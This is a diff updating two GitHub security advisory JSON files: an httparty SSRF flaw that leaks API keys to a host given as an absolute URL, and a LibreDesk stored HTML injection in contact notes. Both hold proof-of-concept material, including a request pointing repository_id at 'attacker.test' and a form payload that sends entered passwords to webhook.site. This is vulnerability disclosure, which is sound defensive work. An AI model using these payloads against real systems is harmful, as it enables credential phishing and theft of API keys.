Publish Advisories

GHSA-hm5p-x4rq-38w4
GHSA-wh6m-h6f4-rjf4

Author: advisory-database[bot]

advisories/github-reviewed/2025/12/GHSA-hm5p-x4rq-38w4/GHSA-hm5p-x4rq-38w4.json

@@ -1,13 +1,13 @@
 {
   "schema_version": "1.4.0",
   "id": "GHSA-hm5p-x4rq-38w4",
-  "modified": "2025-12-24T01:07:33Z",
+  "modified": "2025-12-26T17:25:12Z",
   "published": "2025-12-23T19:31:10Z",
   "aliases": [
     "CVE-2025-68696"
   ],
   "summary": "httparty Has Potential SSRF Vulnerability That Leads to API Key Leakage",
-  "details": "## Summary\n\nThere may be an SSRF vulnerability in httparty. This issue can pose a risk of leaking API keys, and it can also allow third parties to issue requests to internal servers.\n\n## Details\n\nWhen httparty receives a path argument that is an absolute URL, it ignores the `base_uri` field. As a result, if a malicious user can control the path value, the application may unintentionally communicate with a host that the programmer did not anticipate.\n\nConsider the following example of a web application:\n\n```rb\nrequire 'sinatra'\nrequire 'httparty'\n\nclass RepositoryClient\n  include HTTParty\n  base_uri 'http://exmaple.test/api/v1/repositories/'\n  headers 'X-API-KEY' => '1234567890'\nend\n\npost '/issue' do\n  request_body = JSON.parse(request.body.read)\n  RepositoryClient.get(request_body['repository_id']).body\n  # do something\n  json message: 'OK'\nend\n```\n\nNow, suppose an attacker sends a request like this:\n\n```\nPOST /issue HTTP/1.1\nHost: localhost:10000\nContent-Type: application/json\n\n{\n    \"repository_id\": \"http://attacker.test\",\n    \"title\": \"test\"\n}\n```\n\nIn this case, httparty sends the `X-API-KEY` not to `http://example.test` but instead to `http://attacker.test`.\n\nIs this behavior considered intentional in httparty?\n\nA similar problem was reported and fixed in the HTTP client library axios in the past:  \n<https://github.com/axios/axios/issues/6463>\n\nAlso, Python's `urljoin` function has documented a warning about similar behavior:  \n<https://docs.python.org/3.13/library/urllib.parse.html#urllib.parse.urljoin>\n\nIn my opinion, httparty should verify, right before sending the request, that either of the following conditions is met:\n\n1. The destination URL has a prefix matching `base_uri`.  \n2. `base_uri` is not set.\n\n## PoC\n\nFollow these steps to reproduce the issue:\n\n1. Set up two simple HTTP servers.\n\n   ```bash\n   mkdir /tmp/server1 /tmp/server2\n   echo \"this is server1\" > /tmp/server1/index.html \n   echo \"this is server2\" > /tmp/server2/index.html\n   python -m http.server -d /tmp/server1 10001 &\n   python -m http.server -d /tmp/server2 10002 &\n   ```\n\n2. Create a script (for example, `main.rb`):\n\n   ```rb\n   require 'httparty'\n\n   class Client\n     include HTTParty\n     base_uri 'http://localhost:10001'\n   end\n\n   data = Client.get('http://localhost:10002').body\n   puts data\n   ```\n\n3. Run the script:\n\n   ```bash\n   $ ruby main.rb\n   this is server2\n   ```\n\nAlthough `base_uri` is set to `http://localhost:10001/`, httparty sends the request to `http://localhost:10002/`.\n\n\n## Impact\n\n- Leakage of credentials: If an absolute URL is provided, any API keys or credentials configured in httparty may be exposed to unintended third-party hosts.  \n- SSRF (Server-Side Request Forgery): Attackers can force the httparty-based program to send requests to other internal hosts within the network where the program is running.  \n- Affected users: Any software that uses `base_uri` and does not properly validate the path parameter may be affected by this issue.",
+  "details": "## Summary\n\nThere may be an SSRF vulnerability in httparty. This issue can pose a risk of leaking API keys, and it can also allow third parties to issue requests to internal servers.\n\n## Details\n\nWhen httparty receives a path argument that is an absolute URL, it ignores the `base_uri` field. As a result, if a malicious user can control the path value, the application may unintentionally communicate with a host that the programmer did not anticipate.\n\nConsider the following example of a web application:\n\n```rb\nrequire 'sinatra'\nrequire 'httparty'\n\nclass RepositoryClient\n  include HTTParty\n  base_uri 'http://exmaple.test/api/v1/repositories/'\n  headers 'X-API-KEY' => '1234567890'\nend\n\npost '/issue' do\n  request_body = JSON.parse(request.body.read)\n  RepositoryClient.get(request_body['repository_id']).body\n  # do something\n  json message: 'OK'\nend\n```\n\nNow, suppose an attacker sends a request like this:\n\n```\nPOST /issue HTTP/1.1\nHost: localhost:10000\nContent-Type: application/json\n\n{\n    \"repository_id\": \"http://attacker.test\",\n    \"title\": \"test\"\n}\n```\n\nIn this case, httparty sends the `X-API-KEY` not to `http://example.test` but instead to `http://attacker.test`.\n\nA similar problem was reported and fixed in the HTTP client library axios in the past:  \n<https://github.com/axios/axios/issues/6463>\n\nAlso, Python's `urljoin` function has documented a warning about similar behavior:  \n<https://docs.python.org/3.13/library/urllib.parse.html#urllib.parse.urljoin>\n\n## PoC\n\nFollow these steps to reproduce the issue:\n\n1. Set up two simple HTTP servers.\n\n   ```bash\n   mkdir /tmp/server1 /tmp/server2\n   echo \"this is server1\" > /tmp/server1/index.html \n   echo \"this is server2\" > /tmp/server2/index.html\n   python -m http.server -d /tmp/server1 10001 &\n   python -m http.server -d /tmp/server2 10002 &\n   ```\n\n2. Create a script (for example, `main.rb`):\n\n   ```rb\n   require 'httparty'\n\n   class Client\n     include HTTParty\n     base_uri 'http://localhost:10001'\n   end\n\n   data = Client.get('http://localhost:10002').body\n   puts data\n   ```\n\n3. Run the script:\n\n   ```bash\n   $ ruby main.rb\n   this is server2\n   ```\n\nAlthough `base_uri` is set to `http://localhost:10001/`, httparty sends the request to `http://localhost:10002/`.\n\n\n## Impact\n\n- Leakage of credentials: If an absolute URL is provided, any API keys or credentials configured in httparty may be exposed to unintended third-party hosts.  \n- SSRF (Server-Side Request Forgery): Attackers can force the httparty-based program to send requests to other internal hosts within the network where the program is running.  \n- Affected users: Any software that uses `base_uri` and does not properly validate the path parameter may be affected by this issue.",
   "severity": [
     {
       "type": "CVSS_V4",

advisories/github-reviewed/2025/12/GHSA-wh6m-h6f4-rjf4/GHSA-wh6m-h6f4-rjf4.json

@@ -1,9 +1,11 @@
 {
   "schema_version": "1.4.0",
   "id": "GHSA-wh6m-h6f4-rjf4",
-  "modified": "2025-12-20T05:09:48Z",
+  "modified": "2025-12-26T17:25:18Z",
   "published": "2025-12-16T20:43:16Z",
-  "aliases": [],
+  "aliases": [
+    "CVE-2025-68927"
+  ],
   "summary": "Libredesk has Improper Neutralization of  HTML Tags in a Web Page",
   "details": "### Summary\n\nLibreDesk is vulnerable to **stored HTML injection** in the contact notes feature. When adding notes via `POST /api/v1/contacts/{id}/notes`, the backend automatically wraps user input in `<p>` tags. However, by intercepting the request and removing the `<p>` tag, an attacker can inject arbitrary HTML elements such as forms and images, which are then stored and rendered without proper sanitization. This can lead to phishing, CSRF-style forced actions, and UI redress attacks.\n\n---\n\n### Details\n\nWhen notes are added through the LibreDesk web application, the client sends note content wrapped inside `<p>` tags. The backend appears to **trust this HTML structure** and stores the content as-is.\n\nBy intercepting the request to:\n\n```\nPOST /api/v1/contacts/3/notes\n```\n\nand **removing the `<p>` wrapper**, an attacker can submit arbitrary HTML content. The backend does not sanitize or validate the HTML payload before persisting it.\n\nAs a result:\n\n* Arbitrary HTML tags (e.g., `<form>`, `<input>`, `<img>`) are stored\n* The injected HTML is rendered when the notes are viewed in the application\n* No server-side HTML sanitization or allowlisting is enforced\n\nThis indicates that the application relies on **client-side HTML formatting assumptions**, which can be bypassed by modifying the request.\n\n---\n\n### PoC\n\n1. Log in to LibreDesk and open any contact.\n2. Add a note normally via the UI.\n3. Intercept the request to:\n\n   ```\n   POST /api/v1/contacts/3/notes\n   ```\n4. Original request body (example):\n\n   ```json\n   {\n     \"note\": \"<p>This is a normal note</p>\"\n   }\n   ```\n5. Modify the payload by removing the `<p>` tag and injecting arbitrary HTML:\n\n   ```json\n   {\n     \"note\": \"<form action='https://webhook.site/xxxx' method='POST'>\n                <input type='text' name='username' placeholder='Username'>\n                <input type='password' name='password' placeholder='Password'>\n                <input type='submit' value='Re-authenticate'>\n              </form>\"\n   }\n   ```\n\n6. Forward the request.\n7. View the contact note in the LibreDesk UI.\n\n**Result:**\nThe injected HTML form is rendered inside the application.\n\n\n---\n\n### Impact\n\nThis is a **stored HTML injection** vulnerability affecting any user who can add or view contact notes.\n\nPotential impact includes:\n\n* Credential phishing through injected forms\n* CSRF-style forced actions using HTML-only forms\n* UI redress and social engineering\n* Increased risk if notes are viewed by privileged users (e.g., admins or agents)\n\nIf the notes are shared across users or roles, this vulnerability can be abused to target multiple users, increasing severity.",
   "severity": [